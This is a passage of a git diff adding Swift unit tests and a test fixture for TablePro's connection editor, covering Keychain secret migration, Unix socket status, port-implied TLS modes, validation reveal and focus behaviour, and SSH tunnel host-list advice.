b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreFixture.swift new file mode 100644 index 0000000000..8401095932 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreFixture.swift @@ -0,0 +1,182 @@ +// +// ConnectionEditorStoreFixture.swift +// TableProTests +// + +import Foundation +import TableProConnectionLibrary + +@testable import TablePro + +final class RecordingKeychain: KeychainStoring, @unchecked Sendable { + private let lock = NSLock() + private var store: [String: String] = [:] + private var writes = 0 + private var refusesWrites = false + + var writeCount: Int { + lock.withLock { writes } + } + + var keys: [String] { + lock.withLock { Array(store.keys) } + } + + func refuseWrites(_ refuse: Bool) { + lock.withLock { refusesWrites = refuse } + } + + func resetWriteCount() { + lock.withLock { writes = 0 } + } + + func value(forKey key: String) -> String? { + lock.withLock { store[key] } + } + + @discardableResult + func writeString(_ value: String, forKey key: String) -> Bool { + lock.withLock { + writes += 1 + guard !refusesWrites else { return false } + store[key] = value + return true + } + } + + func readStringResult(forKey key: String) -> KeychainStringResult { + lock.withLock { + guard let value = store[key] else { return .notFound } + return .found(value) + } + } + + func delete(forKey key: String) { + lock.withLock { store[key] = nil } + } +} + +private struct NoManagedPolicy: ManagedPolicyReading { + func string(_ policy: ManagedPolicy) -> String? { nil } +} + +@MainActor +final class ConnectionEditorStoreFixture { + let directory: URL + let suite: EphemeralDefaults + let keychain = RecordingKeychain() + let events = AppEvents() + let storage: ConnectionStorage + let sshProfiles: SSHProfileStorage + let credentialProfiles: CredentialProfileStorage + let recents: RecentConnectionsStore + let listPreferences: ConnectionListPreferences + let services: AppServices + let envVarApprovals: ConnectionApprovalStore + let localCredentialApprovals: ConnectionApprovalStore + + // `storageKeychain` stands in for `keychain` where a test needs the Keychain's scopes or unreadable items. + init(storageKeychain: (any KeychainStoring)? = nil) throws { + directory = FileManager.default.temporaryDirectory + .appendingPathComponent("tablepro-editor-store-\(UUID().uuidString)", isDirectory: true) + try FileManager.default.createDirectory(at: directory, withIntermediateDirectories: true) + suite = try EphemeralDefaults() + let defaults = suite.defaults + let recording = keychain + let keychain: any KeychainStoring = storageKeychain ?? recording + let events = events + let storage = ConnectionStorage( + fileURL: directory.appendingPathComponent("connections.json"), + userDefaults: defaults, + keychain: keychain, + appEvents: events + ) + self.storage = storage + sshProfiles = SSHProfileStorage(userDefaults: defaults, keychain: keychain, connectionStorage: storage) + credentialProfiles = CredentialProfileStorage( + fileURL: directory.appendingPathComponent("credentialProfiles.json"), + keychain: keychain, + connectionStorage: storage + ) + let sshProfiles = sshProfiles + let dialed: @MainActor (DatabaseConnection) -> ConnectionDestination = { connection in + sshProfiles.refreshingLinkedProfile(connection).destination + } + envVarApprovals = ConnectionApprovalStore( + kind: .envVarReferences, defaults: defaults, savedConnections: { [] }, dialedDestination: dialed + ) + localCredentialApprovals = ConnectionApprovalStore( + kind: .localCredentials, defaults: defaults, savedConnections: { [] }, dialedDestination: dialed + ) + recents = RecentConnectionsStore(defaults: defaults, appEvents: events) + listPreferences = ConnectionListPreferences(defaults: defaults, appEvents: events) + let live = AppServices.live + services = AppServices( + appEvents: events, + appSettings: live.appSettings, + appSettingsStorage: live.appSettingsStorage, + connectionStorage: storage, + databaseManager: live.databaseManager, + pluginManager: live.pluginManager, + schemaService: live.schemaService, + schemaRefreshService: live.schemaRefreshService, + schemaProviderRegistry: live.schemaProviderRegistry, + catalogChangeService: live.catalogChangeService, + sqlFavoriteManager: live.sqlFavoriteManager, + favoriteTablesStorage: live.favoriteTablesStorage, + favoriteDatabasesStorage: live.favoriteDatabasesStorage, + tableFolderStorage: live.tableFolderStorage, + aiChatStorage: live.aiChatStorage, + aiKeyStorage: live.aiKeyStorage, + aiAccessApprovals: live.aiAccessApprovals, + groupStorage: live.groupStorage, + tagStorage: live.tagStorage, + sshProfileStorage: sshProfiles, + credentialProfileStorage: credentialProfiles, + featureAccess: live.featureAccess, + syncMetadataStorage: live.syncMetadataStorage, + favoritesExpansionState: live.favoritesExpansionState, + linkedFolderWatcher: live.linkedFolderWatcher, + queryHistoryManager: live.queryHistoryManager, + dateFormattingService: live.dateFormattingService, + copilotService: live.copilotService, + mcpServerManager: live.mcpServerManager, + syncTracker: live.syncTracker, + welcomeRouter: live.welcomeRouter, + telemetry: live.telemetry + ) + } + + deinit { + try? FileManager.default.setAttributes([.posixPermissions: 0o755], ofItemAtPath: directory.path) + try? FileManager.default.removeItem(at: directory) + } + + func makeStore(_ request: ConnectionEditorStore.Request) -> ConnectionEditorStore { + ConnectionEditorStore( + request: request, + services: services, + recentConnections: recents, + listPreferences: listPreferences, + managedPolicy: NoManagedPolicy(), + approvalStores: [envVarApprovals, localCredentialApprovals] + ) + } + + @discardableResult + func seed(_ connections: [DatabaseConnection]) -> Bool { + storage.saveConnections(connections) + } + + func makeLibraryReadOnly(_ readOnly: Bool) throws { + try FileManager.default.setAttributes( + [.posixPermissions: readOnly ? 0o555 : 0o755], + ofItemAtPath: directory.path + ) + storage.invalidateCache() + } + + func secretKeys(for id: UUID) -> [String] { + keychain.keys.filter { $0.hasSuffix(id.uuidString) } + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreLocalSocketTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreLocalSocketTests.swift new file mode 100644 index 0000000000..d0f4744672 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreLocalSocketTests.swift @@ -0,0 +1,132 @@ +// +// ConnectionEditorStoreLocalSocketTests.swift +// TableProTests +// + +import Darwin +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStoreLocalSocketTests { + private func socketStore( + _ fixture: ConnectionEditorStoreFixture, + type: DatabaseType, + path: String, + port: String? = nil + ) -> ConnectionEditorStore { + let store = fixture.makeStore(.new(type: type, parsedURL: nil)) + store.update { $0.name = "Local" } + if let port { + store.setPort(port) + } + store.selectEndpoint(.localSocket) + store.update { $0.localSocketPath = path } + return store + } + + private func makeDirectory() throws -> URL { + let directory = URL(fileURLWithPath: "/tmp", isDirectory: true) + .appendingPathComponent("tp-\(UUID().uuidString.prefix(8))", isDirectory: true) + try FileManager.default.createDirectory(at: directory, withIntermediateDirectories: true) + return directory + } + + @Test("A missing path, a plain file and a socket each read as such") + func fileStatusFollowsTheFile() throws { + let directory = try makeDirectory() + defer { try? FileManager.default.removeItem(at: directory) } + + #expect(SocketFileStatus.of(path: directory.appendingPathComponent("missing.sock").path) == .missing) + + let file = directory.appendingPathComponent("plain.sock").path + #expect(FileManager.default.createFile(atPath: file, contents: Data())) + #expect(SocketFileStatus.of(path: file) == .notSocket) + + let socketPath = directory.appendingPathComponent("m.sock").path + let descriptor = try bindUnixSocket(at: socketPath) + defer { close(descriptor) } + #expect(SocketFileStatus.of(path: socketPath) == .socket) + + let link = directory.appendingPathComponent("link.sock").path + try FileManager.default.createSymbolicLink(atPath: link, withDestinationPath: socketPath) + #expect(SocketFileStatus.of(path: link) == .socket) + } + + @Test("The file status stays quiet until the path itself is valid") + func fileStatusWaitsForAValidPath() throws { + let fixture = try ConnectionEditorStoreFixture() + #expect(socketStore(fixture, type: .mysql, path: "").localSocketFileStatus == nil) + #expect(socketStore(fixture, type: .mysql, path: "relative.sock").localSocketFileStatus == nil) + #expect(socketStore(fixture, type: .mysql, path: "/nonexistent-tablepro/m.sock").localSocketFileStatus == .missing) + } + + @Test("The file status checks the socket file the folder and port name") + func fileStatusChecksTheSocketFile() throws { + let directory = try makeDirectory() + defer { try? FileManager.default.removeItem(at: directory) } + let fixture = try ConnectionEditorStoreFixture() + + let store = socketStore(fixture, type: .postgresql, path: directory.path, port: "5433") + #expect(store.localSocketFileStatus == .missing) + + let descriptor = try bindUnixSocket(at: directory.appendingPathComponent(".s.PGSQL.5433").path) + defer { close(descriptor) } + #expect(store.localSocketFileStatus == .socket) + + store.setPort("5434") + #expect(store.localSocketFileStatus == .missing) + } + + @Test("~/.pgpass is matched by localhost for /tmp and by the folder otherwise") + func pgpassEndpoint() throws { + let fixture = try ConnectionEditorStoreFixture() + let pgpass = ConnectionEditorEngine.pgpassFieldId + #expect(ConnectionTypeTraits.live(for: .postgresql, pluginManager: .shared).field(pgpass) != nil) + + let defaultFolder = socketStore(fixture, type: .postgresql, path: "/tmp", port: "5433") + defaultFolder.setFieldValue("true", for: pgpass) + #expect(defaultFolder.pgpassLookup?.host == "localhost") + #expect(defaultFolder.pgpassLookup?.port == 5_433) + + let otherFolder = socketStore(fixture, type: .postgresql, path: "/var/run/postgresql") + otherFolder.setFieldValue("true", for: pgpass) + #expect(otherFolder.pgpassLookup?.host == "/var/run/postgresql") + #expect(otherFolder.pgpassLookup?.port == 5_432) + + let tcp = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + tcp.setFieldValue("true", for: pgpass) + tcp.update { $0.host = "db.example.com" } + tcp.setPort("6432") + #expect(tcp.pgpassLookup?.host == "db.example.com") + #expect(tcp.pgpassLookup?.port == 6_432) + tcp.update { $0.host = "" } + #expect(tcp.pgpassLookup?.host == "localhost") + } + + private func bindUnixSocket(at path: String) throws -> Int32 { + let descriptor = socket(AF_UNIX, SOCK_STREAM, 0) + guard descriptor >= 0 else { throw POSIXError(.EBADF) } + var address = sockaddr_un() + address.sun_family = sa_family_t(AF_UNIX) + let bytes = Array(path.utf8) + withUnsafeMutableBytes(of: &address.sun_path) { buffer in + for (index, byte) in bytes.enumerated() where index < buffer.count - 1 { + buffer[index] = byte + } + } + let result = withUnsafePointer(to: &address) { pointer in + pointer.withMemoryRebound(to: sockaddr.self, capacity: 1) { + bind(descriptor, $0, socklen_t(MemoryLayout.size)) + } + } + guard result == 0 else { + close(descriptor) + throw POSIXError(.EADDRINUSE) + } + return descriptor + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreOptionsTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreOptionsTests.swift new file mode 100644 index 0000000000..1a75328aed --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreOptionsTests.swift @@ -0,0 +1,68 @@ +import Foundation +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStoreOptionsTests { + private let english = Locale(identifier: "en_US") + + @Test("No global limit reads as no limit, never as zero") + func zeroReadsAsNoLimit() { + #expect( + QueryTimeoutInheritance.subtitle(globalSeconds: 0, locale: english) + == "Leave blank to use Settings > Connections: no limit." + ) + #expect(QueryTimeoutInheritance.prompt(globalSeconds: 0) == "No limit") + } + + @Test("A global limit reads as a duration in words", arguments: [ + (1, "1 second"), + (60, "1 minute"), + (90, "1 minute, 30 seconds"), + (300, "5 minutes"), + (3_600, "1 hour") + ]) + func limitReadsAsDuration(seconds: Int, words: String) { + #expect( + QueryTimeoutInheritance.subtitle(globalSeconds: seconds, locale: english) + == "Leave blank to use Settings > Connections: \(words)." + ) + } + + @Test("The prompt inside the seconds field keeps the number") + func promptKeepsSeconds() { + #expect(QueryTimeoutInheritance.prompt(globalSeconds: 60) == "Global (60)") + } + + @Test("An out-of-range global value shows what a connection actually gets") + func outOfRangeGlobalIsClamped() { + #expect(QueryTimeoutInheritance.prompt(globalSeconds: -5) == "No limit") + #expect( + QueryTimeoutInheritance.prompt(globalSeconds: 9_999_999) + == "Global (\(DatabaseConnection.queryTimeoutSecondsRange.upperBound))" + ) + #expect(QueryTimeoutInheritance.inheritedSeconds(globalSeconds: -5) == 0) + #expect( + QueryTimeoutInheritance.inheritedSeconds(globalSeconds: 9_999_999) + == DatabaseConnection.queryTimeoutSecondsRange.upperBound + ) + } + + @Test("Startup commands are SQL only for an engine whose editor speaks SQL") + func startupCommandsLanguage() throws { + let fixture = try ConnectionEditorStoreFixture() + #expect(fixture.makeStore(.new(type: .postgresql, parsedURL: nil)).startupCommandsAreSQL) + #expect(!fixture.makeStore(.new(type: .redis, parsedURL: nil)).startupCommandsAreSQL) + } + + @Test("The read-only note follows the External Clients level") + func readOnlyNoteFollowsAccess() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.update { $0.ai.externalAccess = .readOnly } + #expect(store.externalClientsReadOnlyNote != nil) + store.update { $0.ai.externalAccess = .readWrite } + #expect(store.externalClientsReadOnlyNote == nil) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStorePlaintextSecretTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStorePlaintextSecretTests.swift new file mode 100644 index 0000000000..2579833585 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStorePlaintextSecretTests.swift @@ -0,0 +1,116 @@ +// +// ConnectionEditorStorePlaintextSecretTests.swift +// TableProTests +// + +import Foundation +import Testing + +@testable import TablePro + +// A record an unfinished Keychain migration left with a secure value in plain text. +@MainActor +struct ConnectionEditorStorePlaintextSecretTests { + private let fieldId = "esApiKey" + + private func elasticsearch(apiKey: String) -> DatabaseConnection { + var connection = DatabaseConnection( + name: "Search", + host: "es.example.com", + port: 9_200, + username: "elastic", + type: .elasticsearch + ) + connection.additionalFields["esAuthMethod"] = "apiKey" + connection.additionalFields[fieldId] = apiKey + return connection + } + + @Test("A key typed over a plain-text one is the one in the Keychain, and the record keeps no copy") + func replacedPlaintextSecretLeavesTheRecord() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = elasticsearch(apiKey: "plain-old") + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.fieldValues[fieldId] == "plain-old") + + store.setFieldValue("typed-new", for: fieldId) + #expect(store.testRecord(testId: UUID()).additionalFields[fieldId] == nil) + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.additionalFields[fieldId] == nil) + #expect(fixture.storage.loadPluginSecureField(fieldId: fieldId, for: connection.id) == "typed-new") + } + + @Test("An unrelated Save moves a plain-text key the Keychain lacks into it") + func untouchedPlaintextSecretMovesToTheKeychain() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = elasticsearch(apiKey: "plain-old") + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.name == "Renamed") + #expect(saved.additionalFields[fieldId] == nil) + #expect(fixture.storage.loadPluginSecureField(fieldId: fieldId, for: connection.id) == "plain-old") + } + + @Test("A key the Keychain holds wins over the plain-text copy, which leaves the record") + func storedSecretWinsOverPlaintext() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = elasticsearch(apiKey: "plain-old") + fixture.seed([connection]) + fixture.storage.savePluginSecureField("stored-key", fieldId: fieldId, for: connection.id) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.fieldValues[fieldId] == "stored-key") + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.additionalFields[fieldId] == nil) + #expect(fixture.storage.loadPluginSecureField(fieldId: fieldId, for: connection.id) == "stored-key") + } + + @Test("A plain-text key whose Keychain item cannot be read stays in the record, as the migration leaves it") + func plaintextSecretOverAnUnreadableItemStays() throws { + let keychain = ScopeRecordingKeychain() + let fixture = try ConnectionEditorStoreFixture(storageKeychain: keychain) + let connection = elasticsearch(apiKey: "plain-old") + fixture.seed([connection]) + keychain.makeUnreadable("com.TablePro.plugin.\(fieldId).\(connection.id.uuidString)") + let store = fixture.makeStore(.edit(connectionId: connection.id)) + #expect(store.draft.fieldValues[fieldId]?.isEmpty != false) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.name == "Renamed") + #expect(saved.additionalFields[fieldId] == "plain-old") + } + + @Test("A plain-text key another writer stored after the editor opened leaves the record for the Keychain") + func plaintextSecretWrittenElsewhereMoves() throws { + let fixture = try ConnectionEditorStoreFixture() + var connection = elasticsearch(apiKey: "") + connection.additionalFields[fieldId] = nil + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + var elsewhere = try #require(fixture.storage.loadConnection(id: connection.id)) + elsewhere.additionalFields[fieldId] = "plain-elsewhere" + fixture.seed([elsewhere]) + + store.update { $0.name = "Renamed" } + _ = try store.save().get() + + let saved = try #require(fixture.storage.loadConnection(id: connection.id)) + #expect(saved.additionalFields[fieldId] == nil) + #expect(fixture.storage.loadPluginSecureField(fieldId: fieldId, for: connection.id) == "plain-elsewhere") + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStorePortTLSTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStorePortTLSTests.swift new file mode 100644 index 0000000000..9ad98aa9a2 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStorePortTLSTests.swift @@ -0,0 +1,160 @@ +// +// ConnectionEditorStorePortTLSTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStorePortTLSTests { + private func newConnection(_ type: DatabaseType, in fixture: ConnectionEditorStoreFixture) -> ConnectionEditorStore { + fixture.makeStore(.new(type: type, parsedURL: nil)) + } + + private func imported(_ url: String, in fixture: ConnectionEditorStoreFixture) throws -> ConnectionEditorStore { + fixture.makeStore(.new(type: nil, parsedURL: try ConnectionURLParser.parse(url).get())) + } + + @Test("Typing port 443 on a new Trino connection turns on Verify Identity, and typing past it turns it off") + func typedPortFollowsTheTLSPort() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = newConnection(.trino, in: fixture) + #expect(store.draft.ssl.mode == .disabled) + + store.setPort("443") + #expect(store.draft.ssl.mode == .verifyIdentity) + + store.setPort("4430") + #expect(store.draft.ssl.mode == .disabled) + } + + @Test("A mode the user picked is never changed by the port") + func chosenModeSurvivesThePort() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = newConnection(.trino, in: fixture) + store.selectSSLMode(.required) + + store.setPort("443") + #expect(store.draft.ssl.mode == .required) + + store.selectSSLMode(.disabled) + store.setPort("4430") + store.setPort("443") + #expect(store.draft.ssl.mode == .disabled) + } + + @Test("The port note names the mode the port implies, and offers it while SSL is Disabled") + func portNoticeFollowsThePort() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = newConnection(.trino, in: fixture) + #expect(store.portTLSNotice == nil) + + store.setPort("443") + let implied = try #require(store.portTLSNotice) + #expect(implied.impliedMode == .verifyIdentity) + #expect(!implied.sslModeIsDisabled) + #expect(implied.actionTitle == nil) + #expect(store.layout.contains(.builtIn(.portTLSNotice))) + + store.selectSSLMode(.disabled) + let offered = try #require(store.portTLSNotice) + #expect(offered.sslModeIsDisabled) + #expect(offered.actionTitle != nil) + + store.setPort("4430") + #expect(store.portTLSNotice == nil) + #expect(!store.layout.contains(.builtIn(.portTLSNotice))) + } + + @Test("A Trino connection on port 443 with Verify Identity saves without a CA certificate") + func verifyIdentityNeedsNoCAForTrino() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = newConnection(.trino, in: fixture) + store.setPort("443") + + #expect(store.draft.ssl.caCertPath.isEmpty) + #expect(store.issues(for: .sslTLS).isEmpty) + } + + @Test("Verify CA on Trino still asks for a CA certificate, since it checks no hostname") + func verifyCANeedsACAForTrino() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = newConnection(.trino, in: fixture) + store.selectSSLMode(.verifyCa) + #expect(!store.issues(for: .sslTLS).isEmpty) + } + + @Test("Importing trino://host:443 opens the form on Verify Identity, and editing the port away reverts it") + func importedTLSPortIsImplied() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try imported("trino://analyst@trino.example.com:443/hive", in: fixture) + #expect(store.draft.ssl.mode == .verifyIdentity) + + store.setPort("8080") + #expect(store.draft.ssl.mode == .disabled) + } + + @Test("Importing trino://host:443 with SSL=false keeps SSL off through later port edits") + func importedSSLFalseIsAChoice() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try imported("trino://trino.example.com:443/hive?SSL=false", in: fixture) + #expect(store.draft.ssl.mode == .disabled) + + store.setPort("4430") + store.setPort("443") + #expect(store.draft.ssl.mode == .disabled) + } + + @Test("An imported JDBC URL with SSLVerification=CA opens on Verify CA, asks for the CA file, and keeps it through port edits") + func importedVerificationIsAChoice() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try imported( + "jdbc:trino://analyst@trino.example.com:8443/hive?SSL=true&SSLVerification=CA", + in: fixture + ) + #expect(store.draft.ssl.mode == .verifyCa) + #expect(!store.issues(for: .sslTLS).isEmpty) + + store.setPort("443") + store.setPort("8080") + #expect(store.draft.ssl.mode == .verifyCa) + } + + @Test("Typing port 8443 on a new ClickHouse connection turns on Verify Identity") + func clickHouseTLSPort() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = newConnection(.clickhouse, in: fixture) + store.setPort("8443") + #expect(store.draft.ssl.mode == .verifyIdentity) + + store.setPort("8123") + #expect(store.draft.ssl.mode == .disabled) + } + + @Test("SQL Server verify modes save, since the form has no CA field for them") + func mssqlVerifyModesSave() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = newConnection(.mssql, in: fixture) + store.selectSSLMode(.verifyIdentity) + #expect(store.issues(for: .sslTLS).isEmpty) + #expect(!store.layout.contains(.builtIn(.sslCACertificate))) + + store.selectSSLMode(.verifyCa) + #expect(store.issues(for: .sslTLS).isEmpty) + } + + @Test("PostgreSQL Verify Identity saves without a CA certificate, and Verify CA still asks for one") + func postgresNeedsACAOnlyForVerifyCA() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = newConnection(.postgresql, in: fixture) + store.selectSSLMode(.verifyIdentity) + #expect(store.issues(for: .sslTLS).isEmpty) + + store.selectSSLMode(.verifyCa) + #expect(!store.issues(for: .sslTLS).isEmpty) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreRevealTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreRevealTests.swift new file mode 100644 index 0000000000..da1f069647 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreRevealTests.swift @@ -0,0 +1,160 @@ +// +// ConnectionEditorStoreRevealTests.swift +// TableProTests +// + +import Foundation +import SwiftUI +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStoreRevealTests { + private func postgres() -> DatabaseConnection { + DatabaseConnection(name: "Orders", host: "db.example.com", port: 5_432, database: "orders", username: "app", type: .postgresql) + } + + // Two issues on two rows, raised by code, so nothing has been edited yet. + private func newStoreWithTwoIssues(_ fixture: ConnectionEditorStoreFixture) throws -> ConnectionEditorStore { + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.update { + $0.portText = "99999" + $0.options.connectTimeoutSeconds = 0 + } + try #require(store.issue(for: .builtIn(.port)) != nil) + try #require(store.issue(for: .builtIn(.connectTimeout)) != nil) + return store + } + + private func sidebarMarks(_ store: ConnectionEditorStore) -> Set { + Set(ConnectionEditorSidebarRow.rows(for: store).filter { $0.hasIssues }.map { $0.facet }) + } + + @Test("A new form shows no issue anywhere, yet the commit bar still has the reason Save is off") + func pristineNewFormIsNotRed() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try newStoreWithTwoIssues(fixture) + + #expect(store.revealedIssue(for: .builtIn(.port)) == nil) + #expect(!store.facetHasRevealedErrors(.general)) + #expect(sidebarMarks(store).isEmpty) + let first = try #require(store.firstBlockingIssue) + #expect(!store.isRevealed(first)) + #expect(!store.canSave) + } + + @Test("Editing a row reveals that row's issue only, in the row and the sidebar") + func editRevealsItsRow() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try newStoreWithTwoIssues(fixture) + + store.tracking(store.portBinding, row: .builtIn(.port)).wrappedValue = "70000" + + #expect(store.revealedIssue(for: .builtIn(.port)) != nil) + #expect(store.revealedIssue(for: .builtIn(.connectTimeout)) == nil) + #expect(sidebarMarks(store) == [.general]) + #expect(store.facetHasRevealedErrors(.general)) + #expect(!store.facetHasRevealedErrors(.advanced)) + } + + @Test("A write from code reveals nothing; a write through the row's control does") + func onlyControlWritesReveal() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try newStoreWithTwoIssues(fixture) + + store.binding(\.portText).wrappedValue = "80000" + #expect(store.revealedIssue(for: .builtIn(.port)) == nil) + + store.noteEdited(.builtIn(.connectTimeout)) + #expect(store.revealedIssue(for: .builtIn(.connectTimeout)) != nil) + } + + @Test("A Save attempt reveals every issue and focuses the first") + func saveRevealsEverything() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try newStoreWithTwoIssues(fixture) + store.selectedFacet = .appearance + + #expect(throws: ConnectionEditorSaveError.self) { try store.save().get() } + + #expect(store.revealedIssue(for: .builtIn(.port)) != nil) + #expect(store.revealedIssue(for: .builtIn(.connectTimeout)) != nil) + #expect(sidebarMarks(store) == [.general, .advanced]) + #expect(store.selectedFacet == .general) + #expect(store.focusRequest?.row == .builtIn(.port)) + } + + @Test("A Test attempt reveals every issue, even one that keeps Test off") + func testRevealsEverything() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try newStoreWithTwoIssues(fixture) + #expect(!store.canTest) + + store.test() + + #expect(store.revealsAllIssues) + #expect(store.revealedIssue(for: .builtIn(.connectTimeout)) != nil) + #expect(store.testState == .idle) + } + + @Test("A saved connection shows its issues from the first frame") + func savedConnectionRevealsAtOnce() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = DatabaseConnection(name: "Local", database: "", type: .sqlite) + fixture.seed([connection]) + let store = fixture.makeStore(.edit(connectionId: connection.id)) + + let issue = try #require(store.issue(for: .builtIn(.databaseFile))) + #expect(store.isRevealed(issue)) + #expect(sidebarMarks(store) == [.general]) + } + + @Test("Asking the commit bar why Save is off reveals that issue and goes to it") + func barRevealsAndFocuses() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try newStoreWithTwoIssues(fixture) + let first = try #require(store.firstBlockingIssue) + store.selectedFacet = .safeMode + + store.reveal(first) + + #expect(store.isRevealed(first)) + #expect(store.selectedFacet == first.facet) + #expect(store.focusRequest?.row == first.row) + let others = store.issues.filter { $0.row != first.row } + #expect(!others.contains { store.isRevealed($0) }) + } + + @Test("A focus request is spent by the row that takes it, so a later row never pulls the cursor back") + func focusRequestIsSpent() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.focus(facet: .general, row: .builtIn(.host)) + let request = try #require(store.focusRequest) + + store.didApplyFocus(FocusRequest(facet: .general, row: .builtIn(.host), token: UUID())) + #expect(store.focusRequest == request) + store.didApplyFocus(request) + #expect(store.focusRequest == nil) + } + + @Test("Initial focus is placed once per window: Host for a new connection, Name for a saved one") + func initialFocusOnce() throws { + let fixture = try ConnectionEditorStoreFixture() + let fresh = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + fresh.placeInitialFocusIfNeeded() + let request = try #require(fresh.focusRequest) + #expect(request.row == .builtIn(.host)) + fresh.didApplyFocus(request) + fresh.placeInitialFocusIfNeeded() + #expect(fresh.focusRequest == nil) + + let connection = postgres() + fixture.seed([connection]) + let saved = fixture.makeStore(.edit(connectionId: connection.id)) + saved.placeInitialFocusIfNeeded() + #expect(saved.focusRequest?.row == .builtIn(.name)) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSSHAndProxiesTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSSHAndProxiesTests.swift new file mode 100644 index 0000000000..ea41abd136 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreSSHAndProxiesTests.swift @@ -0,0 +1,111 @@ +// +// ConnectionEditorStoreSSHAndProxiesTests.swift +// TableProTests +// + +import Foundation +import TableProSSHConfig +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStoreSSHAndProxiesTests { + @Test("Redis Sentinel says Sentinel cannot run through a tunnel, even with one node") + func sentinelAdvice() throws { + let many = try #require(TunnelHostListAdvice.message(fieldId: "redisSentinelHosts", hosts: "s1.example:26379,s2.example:26379")) + #expect(many.localizedCaseInsensitiveContains("Sentinel")) + #expect(!many.localizedCaseInsensitiveContains("replica set")) + #expect(TunnelHostListAdvice.message(fieldId: "redisSentinelHosts", hosts: "s1.example:26379") != nil) + } + + @Test("Redis Cluster names the first node, even with one seed") + func clusterAdvice() throws { + let advice = try #require(TunnelHostListAdvice.message(fieldId: "redisClusterHosts", hosts: "n1.example:7000,n2.example:7001")) + #expect(advice.localizedCaseInsensitiveContains("node")) + #expect(TunnelHostListAdvice.message(fieldId: "redisClusterHosts", hosts: "n1.example:7000") != nil) + } + + @Test("Kafka names the first broker and MongoDB its replica set") + func brokerAndReplicaSetAdvice() throws { + let kafka = try #require(TunnelHostListAdvice.message(fieldId: "kafkaBootstrapServers", hosts: "b1.example:9092,b2.example:9092")) + #expect(kafka.localizedCaseInsensitiveContains("broker")) + let mongo = try #require(TunnelHostListAdvice.message(fieldId: "mongoHosts", hosts: "a.example:27017,b.example:27017")) + #expect(mongo.localizedCaseInsensitiveContains("replica set")) + } + + @Test("A single host gets no advice") + func singleHostHasNoAdvice() { + #expect(TunnelHostListAdvice.message(fieldId: "mongoHosts", hosts: "a.example:27017") == nil) + #expect(TunnelHostListAdvice.message(fieldId: "anyHosts", hosts: "a.example") == nil) + } + + @Test("The store advises only while the SSH tunnel carries a host list") + func storeAdvisesOnlyOverSSH() throws { + let fixture = try 